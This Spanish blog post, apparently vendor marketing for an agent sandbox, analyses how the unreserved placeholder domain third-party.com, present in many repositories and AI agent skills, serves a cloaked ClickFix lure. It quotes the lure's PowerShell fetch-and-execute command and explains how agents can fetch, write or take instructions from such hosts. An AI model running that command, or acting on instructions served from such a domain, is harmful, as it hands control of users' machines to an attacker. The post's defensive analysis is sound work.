La skill apuntaba a third-party.com, y third-party.com respondió
Manifold Security encontró third-party.com, un marcador de posición de documentación presente en 1.500 archivos repartidos por 1.700 repositorios, entre ellos Chromium, Vercel y Brave, y dentro de skills públicas de agentes, sirviendo un señuelo ClickFix desde junio. Alguien registró el dominio en 1996. Entrega una página limpia a todo lo que parezca un escáner, y la única blocklist que lo marcó se rindió diez días después. Un hostname es la única dependencia para la que ningún lockfile tiene una línea, y Bromure Agentic Coding la responde con la lista de los sitios a los que el workspace puede llamar.
Una dependencia que auditas tiene una versión, un mantenedor y una línea en un lockfile. El hostname de una URL de ejemplo tiene un dueño y nada más, y los dueños cambian de opinión.
Le pides al agente que cargue un widget de forma diferida. Abre una skill que
instalaste hace meses, lee el fragmento Liquid que la skill ofrece como
implementación de referencia, y el src del fragmento es
https://third-party.com/widget.js.
Tú lo lees como un hueco por rellenar. El agente lee un hostname que resuelve, un servidor que responde y un dueño que decide cuál es la respuesta. Marcador de posición es una convención entre personas que escriben documentación para otras personas. No es una propiedad de la cadena.
El dominio en 1.700 repositorios
El 23 de septiembre, Ax Sharma y Cody Nash, de Manifold Security,
publicaron un análisis
de third-party.com, un dominio que la mayoría de los desarrolladores conoce
como relleno.
The Hacker News lo cubrió al día siguiente.
Desde al menos junio de 2026 el dominio sirve un señuelo ClickFix: la página deja
un comando en tu portapapeles y luego te pide que lo pegues en algún sitio que lo
ejecute.
Una frase del informe carga con toda la premisa: “A diferencia de
example[.]com, third-party[.]com no está reservado por la IANA. Cualquiera
podía registrarlo, y alguien lo hizo.” Alguien lo registró en 1996 a través de
Network Solutions, y desde entonces ha cambiado de manos como cualquier otro
dominio, con treinta años de historial limpio a su espalda.
Una búsqueda de código en GitHub devuelve más de 1.500 archivos en más de 1.700
repositorios. Manifold nombra entre ellos a Chromium, Sanity, Vercel, Brave y
HackTricks. Y third-party.com no está solo: The Hacker News cuenta trece
marcadores de posición no reservados más que hoy sirven scareware, falsas alertas
de seguridad y estafas de inversión, entre ellos yourdomain.com,
yoursite.com, myapp.com, acme.com, company.com y vendor.com, repartidos
por cientos de miles de archivos de GitHub y cientos de skills de agentes.
Un navegador Windows recibe una falsa página de verificación de Cloudflare. El
JavaScript escribe en el portapapeles mediante un textarea oculto y un evento
copy secuestrado, y la página te dice que pulses Win+R, luego Ctrl+V, luego
Intro. Desofuscado, el portapapeles contiene:
powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"
irm descarga un script por HTTPS, iex lo ejecuta en memoria, y 2>$null se
traga los errores. La página añade una cadena señuelo, “Security check, I'm not a
robot, Verification ID” y unos dígitos, para que el cuadro Ejecutar muestre algo
parecido a lo que la página pedía.
Entrega una página limpia a todo lo que comprueba
La carga importa menos que la selección. El servidor elige quién la ve, petición a petición.
Manifold, literalmente: “Consulta este dominio desde un rango de centro de datos, desde un crawler Linux, desde cualquier cosa que no sea la víctima prevista, y devuelve una página limpia.” Un Mac recibe una negativa: “macOS is not supported. This website requires a Windows PC to access.” El señuelo se dispara para el visitante para el que el operador lo escribió.
La blocklist de IPFire marcó el dominio el 7 de julio de 2026 y lo retiró diez días después, el 17 de julio. Quien mantiene esa lista no pudo reproducir la respuesta maliciosa, porque el servidor no se la sirve. Tres meses después, el dominio sigue vivo, sigue encubierto y sigue en 1.700 repositorios.
Los feeds de reputación no tienen nada que transportar aquí, y no hay ningún advisory al que suscribirse. Nadie comprometió este dominio. Alguien es su dueño.
Entre los portadores están las skills de tu agente
Manifold fue a mirar en los sitios que leen los agentes y encontró la cadena en tres skills públicas.
shopify-expert, en jeffallan/claude-skills (unas 11.000 estrellas), la usa en
un fragmento Liquid para cargar de forma diferida un widget de terceros.
alova-server-usage, en alovajs/skills, la usa en un ejemplo de pasarela
OAuth. Y dynamic-dashboard-builder, de ClawHub, la usa dentro de un bloque
titulado “Wrong: Hardcoded endpoint, NEVER do this.”
Ese ejemplo de advertencia es una URL viva. Tres llamadas a herramientas después, cuando el modelo escribe el código, tiene que haber arrastrado el marco de no-hagas-esto junto con la cadena, y la cadena es idéntica en ambos casos.
Un hostname de documentación llega a la red de tres maneras, y una sola sesión puede recorrer las tres:
- Lo descarga. Las skills y las documentaciones de servidores MCP están llenas de endpoints, y un agente que comprueba si un fragmento funciona los resuelve. Lo que vuelve llega al contexto del modelo como una salida de herramienta cualquiera.
- Lo escribe. El fragmento aterriza en tu código fuente, el diff pasa la
revisión, y el atributo
srcque nadie leyó se va a los navegadores de tus usuarios. Manifold documenta el señuelo disparándose en navegadores Windows, que es lo que ejecuta buena parte de esos usuarios. - Lee instrucciones desde ahí. ClickFix se dirige a quien esté leyendo. La versión de hoy apunta a una persona ante un teclado Windows, y un agente Linux recibe la página de “no compatible”. El servidor ya identifica a quienes lo llaman y sirve tres respuestas distintas. Una cuarta respuesta, para clientes que parezcan agentes, le cuesta al operador una línea de configuración.
Un marcador de posición es una dependencia que nadie declaró
El utillaje de supply chain trabaja con artefactos que tienen identidad. Un paquete tiene nombre, versión, registro, fecha de publicación y mantenedor, así que puedes fijarlo, ponerle una cuarentena por antigüedad, comprobar su procedencia y compararlo con el de la semana pasada. Un hostname en un comentario tiene una sola de esas propiedades: un dueño. Ninguna herramienta de tu pipeline lo resuelve, lo registra ni te avisa cuando cambia de manos. El control que alcanza a un marcador de posición tiene que apoyarse en las conexiones y no en los artefactos.
Dentro de un workspace Bromure
En Bromure Agentic Coding, el tráfico saliente de un workspace es una tabla de
reglas ordenada. Las reglas se evalúan de arriba abajo, gana la primera que
coincide, y un control segmentado Tráfico sin coincidencia fija el valor por
defecto en Permitir o Denegar. Cada regla lleva una acción, un protocolo
(tcp, udp, web o any), un host o un CIDR, puertos y, para las reglas
web, una lista de métodos HTTP. Los hostnames coinciden por sufijo, así que
example.com cubre el ápice y todos sus subdominios. La forma canónica es una
regla por línea, terminada en default allow o default deny:
allow tcp github.com:443
allow tcp registry.npmjs.org:443
allow web api.yourcompany.internal GET,POST
default deny
Un hostname que existe como convención tipográfica no está en esa lista. Tú
escribiste la lista a partir de los sitios a los que llega el trabajo, y las
cadenas de relleno no aparecen en ese conjunto. El workspace nunca tiene que
aprender que third-party.com es hostil, lo cual ayuda, porque ningún feed lo
dice. Solo tiene que ver una cosa: third-party.com no es github.com.
Tu Mac aplica el conjunto de reglas dos veces. El conmutador de red virtual
coteja cada flujo por IP de destino y por hostname captado del DNS, tanto en TCP
como en UDP, y el proxy del host lo coteja de nuevo por nombre de servidor TLS
y, para las reglas web, por método HTTP individual. El conmutador desvía el
tráfico de los puertos 80 y 443 de la VM hacia el proxy sin ninguna variable de
entorno de por medio y sin nada que el invitado pueda desactivar. Las ediciones
de reglas llegan de inmediato a las sesiones en curso, así que puedes apretar un
workspace sin reiniciar a un agente en mitad de una tarea.
La fila de Firewall llega a tu diff
Bloquear la conexión acaba con la descarga. Sacar la cadena de tu código fuente requiere la fila.
Cada veredicto del cortafuegos aterriza en la ventana Security Timeline como
una entrada de Firewall (la fila de ejemplo del propio manual dice
evil.example:443 tcp — blocked), en una única tabla cronológica junto a los
intercambios de credenciales, las decisiones de supply chain, las aplicaciones de
guardrails y los aciertos de inyección de prompt, con colores y filtros.
La primera vez que algo en la sesión resuelva un hostname que no has listado, ese
hostname está en tu pantalla con una marca de tiempo y el workspace del que vino.
Vuelves al diff, encuentras el atributo src y lo arreglas antes de que la rama
se fusione. La salida de red por sí sola no alcanza esa mitad de la historia,
porque en el caso de “lo escribe” es el navegador de otra persona quien hace la
petición peligrosa, semanas más tarde.
Otros dos controles están en el camino, y merece la pena activar los dos.
Los detectores de inyección de prompt puntúan el contenido no confiable de
camino al modelo, es decir, contenidos de archivos, páginas web y salidas de
herramienta transportadas en bloques tool_result, con un clasificador Prompt
Guard local que corre en el dispositivo y no envía nada fuera del Mac. El texto
de ClickFix es una instrucción dirigida a quien lo lea, que es precisamente la
forma para la que se entrenó ese clasificador. Corre en el proxy del host, donde
un agente dentro de la VM no puede apagarlo, y tú eliges qué hace un acierto:
registrarlo, pausar y mostrarte el texto señalado, o rechazar la petición con un
HTTP 451 que el modelo nunca ve.
La frontera de red cubre el caso en que una documentación convence al agente de autenticarse contra el marcador de posición. Ningún archivo, variable de entorno ni proceso dentro de la VM guarda una clave de API, un token OAuth, un secreto de AWS o una clave privada SSH reales. El invitado recibe un falso que preserva la estructura, y el host sustituye el valor real solo para el host para el que se emitió esa credencial. El proxy escanea las cabeceras y el cuerpo de cada petición saliente en busca de esos falsos con un autómata de Aho-Corasick. Uno que vaya a donde no le corresponde recibe HTTP 451 sin que se reenvíe un solo byte, pausa la VM, escribe una fila roja de Credential brokering y marca el workspace como comprometido, de modo que tu próximo lanzamiento te ofrece borrar su disco y su home conservando tus tokens y tus ajustes.
Reserva tus marcadores de posición
example.com, example.org, example.net y el TLD .example están
reservados por la IANA, y nadie puede comprarlos. third-party.com,
acme.com y yourcompany.com son dominios corrientes. Pasa un grep por tus
skills, tus configuraciones MCP y tus READMEs buscando los que nadie reservó.
Escribe la lista de destinos una vez
Un workspace necesita un conjunto de hosts corto y estable: tu forja, tu registro, tu endpoint de modelo, tu API. Pon el tráfico sin coincidencia en Denegar, y los hostnames en los que nadie pensó, marcadores de posición incluidos, quedan resueltos sin que nadie los nombre.
No metas nada en la allowlist para callar a un escáner
Es la recomendación de la propia Manifold. Añade un dominio a una allowlist para que una comprobación se ponga verde y habrás prometido confiar en su dueño para siempre, sin haberlo conocido nunca.
Lee las filas de Firewall
Un hostname bloqueado que no reconoces te dice qué cadena recogió el agente, y te señala la parte del diff donde vas a encontrarla.
Alguien compró un dominio
Nadie envenenó un registro, tomó una cuenta de mantenedor, hizo typosquatting de un paquete, subvirtió un pipeline de CI ni engañó a un modelo. Alguien compró un dominio que estaba en venta, como llevaba en venta desde 1996, y lo apuntó a un servidor web.
La industria ha respondido al riesgo de supply chain dando a los artefactos mejores identidades: atestaciones de procedencia, firmas de sigstore, SBOM, digests fijados. Ese trabajo es bueno, y no toca esto, porque lo que está en 1.700 repositorios es una cadena y no un artefacto. Los desarrolladores la copiaron de un README al siguiente durante años, y existe como cosa real durante lo que dura una resolución DNS y una conexión TCP.
Gobierna ese momento. Dale al workspace una lista de los sitios a los que va el trabajo, aplícala en un lugar que el agente no alcance, y lee las filas buscando nombres que tú no pusiste ahí. Un marcador de posición que no resuelve vuelve a ser el inofensivo trozo de tipografía que creías que era.